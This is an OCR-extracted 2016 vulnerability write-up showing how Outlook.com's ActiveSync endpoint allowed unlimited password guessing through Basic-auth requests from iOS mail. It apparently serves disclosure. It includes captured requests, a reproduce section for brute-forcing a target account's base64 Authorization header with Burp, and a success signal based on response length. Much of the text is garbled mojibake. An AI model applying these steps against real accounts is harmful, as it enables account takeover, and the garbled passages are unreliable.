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.  ABSTRACT

Doinggroovein mobile is almost an inevitable thing for most of users in the world especially
in professional fields. Sending an email, creating a document, accessing a contact information,
even communicating either with audio and audiovisual are commungs we always
encounter along with the growth of mobile technology development and also the availability

of Internet package.

Microsoft as a one of familiar large companies also sees the opportunity so they increasingly
innovating to develop theirtechdo2 38 (2 | yagSNI 6KS dzaSNAQ ySSR
be seen from the emai§kypeonline-based office applicatioservices, games, search engine,

evenother integrated serviceat Outlook.com.

FaSR 2y (KS M&rosofil by dhé NdnbéiBvihiEhScen bé accessed from

Microsofts' official site noted that theusers of outlook.com service have reached more than

four hundredactive users until now.

400 million

Outlook.com has more than 400 million active
users.

Figurel Outlook.com by the Numberg Picture from Microsoft
Seeing the massive numbers of users and the enormity of the service usage, Microsoft has
attempted to do various precautions to avoid the accothdft, suchas creating a sensitivity

searching progranembedding a CAPTCHA on outlook.com service even temporarily blocking

the accesx Smart Account Lockizii Netv dest practices + #AzureAD and MSA can &elp

when there are too many errors with the password entered on a valid account.
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II.  INTRODUCTION

2.1. Definition of Brute Force Attack

We are pretty convinced that theeaders have known for sure the definition of Brute Force
Attack. But to comple this modest article, we alsoy to explain in simple terms about the

definition.

Based on the Wikipedia summaries, Brute Force Attaektigal activity whichattacksthe

possibilities of passwords which may be used by the users. The purpose is no other of taking
2PSN) GKS dzaSNDa I 002dzyi AfftS3aArffted Ly GKS LI
Gttt SaISRteég O2ydGlrAya GKS L afthepdddward usddlbyi Y I &
GKS dzaSNJ A& y2i aNBIAAZGSNBRE Ay NBtlIGSR f SE)
referredto the attack. Briefly, the harder the password used by the user, the more difficult it

is for the Attacker to take over the egunt.

In reality, the attack also can be addressed to the possibilith@fusername When the
username is unknown or difficult to guess, the more difficult it is for the Attacker to take over

the account in this way.

2.2. Definition of CAPTCHA

CAPTCHA sfaRa T2 NJ a/ 2 YLI S (S Tudng Tedrita? t¥lll QorSpRterandizo A

| dzY' | y & Simpgly Ndisdedture is frequently used to distinguish the activity conducted
between computer and humanOfcourse the reader remembst 6 2 dzii (0 KS ¢ dzZNRA y 3 Q.
similar purpose. The only difference is, this test is conducted by a computer so that always

known as Reverse Turing Test).

In the application, the feature needs one simple step conducted bytiee, suchas typing

some lette's shownin the picture or choosing the picture appropriate with instructions.

2.3. CAPTCHA and Temporary Blocked at Outlook.com

As long as we have learned and know (at least until the article is maday 28", 2016),

Microsoft has anticipated the Brute Feréttack from the Attacker by activating the CAPTCHA
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feature on certain circumstances as well as temporary blockage for an account. The exact

thing we know is after ten invalid attempts, one of the features will be activated.

2.4. Web Browser VS Bui#ih Mail Application Access

As we know, to login into the Outlook service the user should access the outlook.com page

through the web browser which will be redirected tdips:/login.live.com/ first. The

problem B, this om particular thingdoes not apply when the user attempt to lagthrough

the built-in mail application on iDevices (iPhone, iPod, and iPad).

~

Ly 6S6 0NRB g & SNE 0KS dza SNDa SYI Af I RRN

https://login.live.com/ppsecure/post.srf?bk=<some random value>&uaid=<another rando

m_value?>&pid=Wwith POST method containing some parameters such as:

B

loginfmt=<email_address&login=<email _address&passwds dza SN a Y LJ a4 a6 2 NRH

13{9 https:/ /login.live.com POST /ppsecure/post.sri?bk=14644322... e a 200 10216 HTML srf Sign in to your Micros...
4 /

Request | Response
Raw | Params THeaders Hex

POST /ppsecure/post.srffbk= ‘&uaid= &pid=0 HTTP/1.1

Hest: login.live.com

User-Agent: Mozilla/5.0 (Macintoshj; Intel Mac 0S8 X 10.10; rv:d6.0) Gecko/20100101 Firefox/46.0

Accept: text/html,application/xhtml+xml,application/xml;gq=0.9,*/*;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Referer: https://login.live.com/

Cockie: CkTst=G1464427048998; MSPRequ=1t=1464432205&id=N&co=1; CkTst=C1464432289653; MSPShared=1; MH=MSFT;
NAP=V=1.9&E=120d&C=LF40yCdFKCTFQFwetqXkozictwKBVQao76zRehcaGOPGt5t8xj1tPA&W=3; ANON=A=8D6F9E1B4354FC60D2164DCOFFFFFFFF&E=1267&W=3;
SDIDC=CYCxN50aSyHp5v4SUKBg! j55r09cJ1AN] zwIinnClBryhTEVX04 *B*uesnJwR1aQ6nc39U6VvGvFX1Le lw3xuBReiFDYFEJI9rbhzgefal 30alHgfrd YSOThttNTX6094R 1 Vn
FXEEN6CAVCOAZ2LevA00IMTuy4 80YSMPRb6kd6GVLEyuk IMTWPGkTm7 2K INECXCPFjYrW3UgderebTy4 17857 jczl4; MSPSoftVis=@:@; MSPBack=0; IgnoreCAW=1j
wlidperf=latency=258&throughput=8FR=L&ST=1464432301309; AVC=v=1,24.1.0&t=05/28/2016 07:41:25; mkt=en-US; mktl=en-US; wl_optintopcexperience
DID=3900;

amsc=gqto5TxIeNtIgof+4¥W5dQos 1FPTmpIpab7ElAXDCHM+mHupiUXem5wgV /2 IM+QAZckbhj6UBtGkW1XW21iI/§8979sx7inBGOgR+InWaH4ulgsm/gw3xcPI6RaHgMANLIEvacx+03%
KTGV/tuP5vPtB6vC8t /+7gd+FwGIplC4 3N539quqB9BWscE/Qg/GgKssuPkupGDxVDhGIwXnhPohgewekR6UZ0JfOyWnXt62P/BFVVIZisb4bR:1:3c;
MSFPC=1D=54%a58ebd086364d8f61a48b5c%edbd26CS=3aLV=201605&V=1; E=P:zvifosuG04g=:ZQmRNnXig3wlIlaJY/THThwZTFCzzGaJT9+2zSnaPyUA=:F;
Xid=96c349c5-8fc3-4100-b86b-2c0e26ebd fela&sSNT148-W72&188; xidseg=12; wlxS=wpc=1l; wlad2=; HIC=6733901c4f714bf7\0\3|snt145|3015\5nt1481
wlp=A|eL9g-t:a*YETtDQ, :h*YMnPDw.Color_Blue|hN3/-t:ih*k4q¥Cg.Color_Blue:a*METtDQ._ ; wls=A|eL9g-t:a*n:h*m|hN3/-t:h*mia*n; LDH=13;
BP=FR=&ST=&1=WC.Hotmail&p=0; MUID=2FCBE1C11BC962D603DABBE21FC9642D; LN=aTC2el464421437492%26c4d0%2611;
MSPOK=$%uuid-8b0elb3a-al07c-45a4-bc84-5b1£41530£9bsuuid-90bc2857-275d-43ee-a821-9d4e8b700bc6Sunid-257acab3-6ba3-4546-97cl1-62c8£fclb09d6$unid-:
4dc8-807e-0475ef7820ebsuuid-2b6bb3da-3051-4d2f-809a-8e46db013f1fsunid-£59222b7-b32e-4d7e-8f4f-05c7cbecbeafosunid-lelcaZdc-2blb-4b81-a8de-871
d-d22b48bb-fb29-4fbl-bBfb-7984b597e22bsuuid-55b991ce-1003-4£f17-a2e9-d9%944c829b856%unid-31595¢c0f-d165-4512-a3fb-abbed19%bfafa

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 1229

leginfmt=abedeft40live.coms&login=abedeft40live.comspasswd=abecdefstype=114PPFT=DW0Z1lm05UzzN8tbiWeKAZn10cN%210WtzUBT7teLt9%21Uz*HjSA6EyERPV4AVEY
X1iRwVt1ljbMHhgo5TOg8HY *yjuriOpPRE8USUd7LdcP211ETErwibRi 7asVungTLEcGIKNuDmhd 9 zwipwgM79ZVIXMiLEGD1IKEfg%21IQ4m6 1MRESpXhCyvaTIpjZtrY¥gb3D5£5eY6hB]
GVLr9PINjkdYVTeX*UUDZvgZFqws 7xo8ng*ydQ%24%$24&PPSX=Pas&NewUser=16LoginOptions=3&FoundMSAs=&fspost=0&1i2=186116=%7B%22navigationsStart%22%3A1464
22unleadEventStart$%22%3A0%2C%22unloadEventEnd$22%3A0%2C%22redirectStart%22%3A0%2C%22redirectEnd$22%3A0%2C%22fotchStart%22%3A1464432287558%:2

Figure4 Login into MSA vidttps://login.live.com/

However, in buikin mail application for iDevicethe email address and password will be sent

in base64 form tohttps://m.hotmail.com/MicrosoftServerActiveSync The value of this

base64 is sent to the parameter Authorization as showlowe
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https://login.live.com/
https://login.live.com/ppsecure/post.srf?bk=%3Csome_random_value%3E&uaid=%3Canother_random_value?%3E&pid=0
https://login.live.com/ppsecure/post.srf?bk=%3Csome_random_value%3E&uaid=%3Canother_random_value?%3E&pid=0
https://login.live.com/
https://m.hotmail.com/Microsoft-Server-ActiveSync

1238 https://m.hotmail.com OPTIO... [Microsoft-Server-ActiveSync UJ O 401 300
<

Request [ Response

W | Headers | Hex

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
hotmail.com
Accept-Encoding:
Content-Length: 0
Connection: close

Acc

ser-Agent: Apple-iPad5C1/1306.69

uthorization: Basic YWpzanNgZUBsaXZlLmNvbTpob3NgZmlzanZzdg==
Acce : _en-us

X-MS-PolicyKey: 0

Figure5 Login via Buikin Mail Application via iDevices
Pleasenote that the plaintext value of base64 consistscofiail address 4 SNDa gt | aa g2 |
{2 AT (KS a@dadvé.sovabdithe pass used igk then the plaintext value is

abc@live.com:xyz

Moreover, after the user logged in, Microsoft will activeheckthe conformity betweeran
email addressind password used by the user bydeing the synchronization with their

server. In this matter, Microsoft will send back the datantms:// blu407-

m.hotmail.com/MicrosoftServer

ActiveSync?Useremail_address&DevicelDe | & S ND 4 | RBeWideDyfap L 8 K NDa ¢ 5

evice Type&Cmd=Pin@ccompanied by the base64 value explained eafierexample:

POST /MicrosofServer
ActiveSync?Useyako.firstsight@outlook.con&DeviceldX X XX XXX XXX XXX XXX XX EKéxice
Type=iPad&Cmd=Ping HTTP/1.1

Host:bay404m.hotmail.com

Accept: */*

Authorization: Basica_base64 encoding_from_user_email_and_password
MS-ASProtocolVersion: 14.0

XMSPolicyKey: 0

AcceptLanguage: efs

AcceptEncoding: gzip, deflate

ContentType: application/vnd.msync.wbxml

ContentLength: 38

UserAgent: ApplePad5C1/1306.69

Connection: close

Cookie:Cookies over here

Bypassing the Limitation of Brute Force Attack on Microsoft Service A¢count 9


mailto:abc@live.com
https://blu407-m.hotmail.com/Microsoft-Server-ActiveSync?User=%3cemail_address%3e&DeviceID=%3cUser's_Device_ID%3e&DeviceType=%3cUser's_Device_Type%3e&Cmd=Ping
https://blu407-m.hotmail.com/Microsoft-Server-ActiveSync?User=%3cemail_address%3e&DeviceID=%3cUser's_Device_ID%3e&DeviceType=%3cUser's_Device_Type%3e&Cmd=Ping
https://blu407-m.hotmail.com/Microsoft-Server-ActiveSync?User=%3cemail_address%3e&DeviceID=%3cUser's_Device_ID%3e&DeviceType=%3cUser's_Device_Type%3e&Cmd=Ping
https://blu407-m.hotmail.com/Microsoft-Server-ActiveSync?User=%3cemail_address%3e&DeviceID=%3cUser's_Device_ID%3e&DeviceType=%3cUser's_Device_Type%3e&Cmd=Ping

Request

J RawT Params T Headers T Hex TXML ]

Microsoft-Server-ActivesSsync?User=yoko.firstsightloutlock.com&DeviceId=AE
kDeviceType=iPadsCmd=Ping HTTP/1.1
Host: bayZUi=m-hetmail.com
Accepts: */*

Authorization: Basic
eWorby5maXJzdHNpZ2h0QGYo1dGxy jo=
MS-ASProtocolVersion: 14.0
X-Ms-PolicyKey: 0
Accept-Language: en-us
Accept-Encoding: gzip, deflate

Content-Type: application/vnd.ms-sync.wbxml

Content-Length: 38

User-Agent: Apple-iPad5Cl/1306.69

Connection: close

Cookie:

A 94969=7416695748626794969 EgCcAQMAAAARGAAACAAAC2VWChp6wlCviwFAPaESeTyXwl
DA+rligf+k65+q8zC+IZpp6YQ]7945K2RVTKHOKObWWYUYCIBbEK/OOWpGETadknYOg2PFPeVy
ACRtO0BhWzRQavgXeyduCFFm06KGhGsm0I2mM11d1l+0ogIBreplottuarLaBsYYN5aBBudUEUL
AXEACWEAAAMAYskgtPuEQlf7ThENXgHOEAAORIAAGFQOBSb2tvImtob0BvdXRsb2 0rLmNvhQBXA
AAheW9rby5raG8lb3vibGovay5ib2lAcGFzc3BvenQuY29tAAAAAUIEAAUXMjc4MAARARARRLICO
IAAHz1bUAABkKMABFlva28AA0tcbwSuUAAAAAAAAAAAAAAAAZ]OsONOCHDMAAPUEQLEf7K7pXAAR
AAAARARADAABAAADWAXMJUUMTYXLJIXNS4 10AAEAQAAAFBIIgBUMSrJAAEEAARARAAAAARRRRRAR
AAAATBF/w3duDdMAARARAAAARRAARAAAARARARAAAARRAARRAARNARRAAARARRARARAR==

M 949069=M=746561706F74640F0D653ACF13473529643D433D32DD38FD8ADOOB3137620C7
FOOCE7880E84AAADGDS7F504057033CCHOA05635C67883D5D3A4ES

j EH 600IJK 2:0L Contacts

Figure6 Full Request from Microsoft to Server
As we can see, the following are a few summaries regarding the figure 2:

2.4.1. POSTMethod is sent tohttps:// blu407m.hotmail.com/ It should be noted that
00 t dzncantbé replaced blglu408, snt405pr bay404

Host A | Method | URL | Params | Edited | Status | Length | MIME type | Extension | IP

https://blu407-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... &) O 200 900 134.170.3.199
11 https://blu407-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... &) O 134.170.3.199
17 https://blu407-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... &4} O 200 206 134.170.3.199
20 https://blu407-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... ™ a 134.170.3.199
3 https://blu408-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... &) O 200 884 134.170.3.200
12 https://blu408-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... ™ O 134.170.3.200
15 https://blu408-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... &) O 200 206 134.170.3.200
18 https://blu408-m.hotmail.com POST /Microsoft-Server-ActiveSync?User... ™ |8 134.170.3.200

2.4.2. Useras a parameter fothe useiQ @mail address;

2.4.3. DevicelDas an identity marker from iDevice used by the user;

Figure7 Random Location of the URL

2.4.4. Authorization as determinant parameter for model data items containing email

address and pass of the user;

2.4.5. Basidn this term acts aa parameter which determines that the data submission such

as email anch password is converted to base64 form.

Bypassing the Limitation of Brute Force Attack on Microsoft Service A¢count 10



Thereisalso some aditional informationfrom the points:

1 Cookiesis nota big dealn terms of session for an Attackesothey still can use the
active cookies to accessher user email. In othewords,cookies generated frorthe
login processhroughthe built-in mail apgication is not identical against an email and
also the password usedt certain times;
f 2KSYy GKS RIFIGF 2F a! dziK2NART FGA2y . axodé O2
I NBaLRPdZdyd &I a oOB©Swise Y havillels$aRéederver
gAff IAGS (KA KNEONEALDZ2IYUAAS2 Wi 8K il RSN K& aeyil

Target: https://bay404-m.hotmail.com n ?

HTTP/1.1 451 Account has been migrated
X-MS-Location: https://eas.outlook.com/Microsoft-Server-ActiveSync
X-TransactionID:

a73 o2 -45ah-8807-cedd2bfechcc; BAY404-EAS327,
4 13:05:26 UTC;447 ms

Set-Cookie:

A 54647=9799933496820254647 EgCPAQMAAAAEGARAC4AAIRXMTkDt18ialIIvp4/iGSh/Cp
ucalVzlnulv9OUDZAElio66wWUNSXMIGE+G2zI31Igf1WWA30H/ 1Vxn7bXkym601lQNxxGDrQ4Fsm
RIPb1Xb1lENSTUS/jjWbvedvR1l+gEBjfval3oICqeELf5r96BIs60104G02psykwdiydtbBj3b+AH
EA/gAAQAYAidS/6ZZRRFeWUURX gHOEAACRIAAAGOBRjaXJ jbGUuaWR0czNAaGY 0bWFpbC5 jb20A
RwAAGGNpcmNsZS5pZHRZMOBObL 3Rt YW1 sImNvbQAAAANTRAAAAAAAAAQTAGAATEBLQAAEQWACWW
sAAIRzAAAAADAAAAARAAAAAAAAWULEfpWZPBMAAJZRRFeW+LpXAAADNRAARARARAAAARMMAADGAXMTOU
MTIOLJAUMTAOAAUBAAAAUGTIIAGA zmskAAQQAAAAAARAAAAAAAAAAAAADIhv)iygx74AARAAAARR
AMAAAMARANNAAAAARAAARAMARANAANAAAAAARAAARAAA; domain=bay404-m.hotmail.com;
expires=Wed, 25-May-2016 13:05:26 GMT; path=/; secure; HttpOnly

Date: Tue, 24 May 2016 13:05:26 GMT

=

.518;2016-05-2

Figure8 Valid Response Account has been Migrated

Target: https://bay404-m.hotmail.com

HTTP/1.1 400 Authorization header has syntax error A
X-TransactionID:
9b-b0df-4fbe-92f8-270734d95854 ;BAY404-EAS22]; 4. 1620.518;2016-05-2

4 13:07:07 UTCy 3 ms

Date: Tue, 24 May 2016 13:07:08 GMT
Connection: close

Content-Length: 0

Figure9 Invalid Response Authorization Header has Syntax Error
i And as anmportant note, we have not tried this one in builh mail application on
l' YRNRPAR .l aASR 5S@A0Sa a2 6S R2yQl 1y2d N

activity.
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2.5. While Synchronization Feature Betray the Outlook Service

Why do we bring this pturesque title eventually? Simple, this is becalBerosoft gives no
limitations for every Brute Force Attack activities launched by the Attackers to accatints
Synchronization Featur&oreover, Microsoft hasnly changed the format oémail address

and passwordthat the User used tbase64 encoding

As a proof, we also try to conduct an attack to the account we used vi@01ogin attempts

in less than 8 minutes with no stopping.

Note: It's important to know that there's nothing wrong with this synchization feature.
Basically, if this feature is able to block; in case there is a password dissimilarity (because the
User has changed it legally), so what will happen is the authorized User won't be able to login
when they have a chance to change thavisd' password in their builbh mail application.

The problem is, the process of sending email address & password is sent in base64 format so

it'll be easily read and an Attacker would be able to do brute force attack to an account.

lll. STEP TO REPRODUCE

3.1. The first step is login to the Attacker account on one of the iDevices. The purpose is
gaining a request sent by the Microsoft to the server as explained in 2.4.1.;

32. { LISOAFEe (GKS GINBSGSR I1002dzyGd Fa | adl NBSQE
target as a password;

3.3. Change an entire format into base64 and specify the parameter from 3.1 to be brute;

POST /Microsoft-Server-ActiveSync?User=yoko.firstsightloutlook.com&Deviceld=
Host: bay404-m.hotmail.com

Accept: */*

Authorization: Basic Sasdasdasdasdasdasdasd§=
M8-ASProtocolVersion: 14.0

X-M8-PolicyKey: 0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Content-Type: application/vnd.ms-sync.wbxml
Content-Length: 38

User-Agent: Apple-iPad5C1l/1306.69

Figure10 Content of the Authorization Brute Force Parameter Location

3.4. The final step is the Attacker has just to wak tipenerated status. Using thoeirp suite
a status with the length of 23241 will indicate the failure, while theength 0f994-999

IS succeed.
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Figurell Response of the Invalid Passwor@round 239- 241 Length of Bytes

Figurel2 Brute Force Attack is Succesaround 994- 999 Length of Bytes
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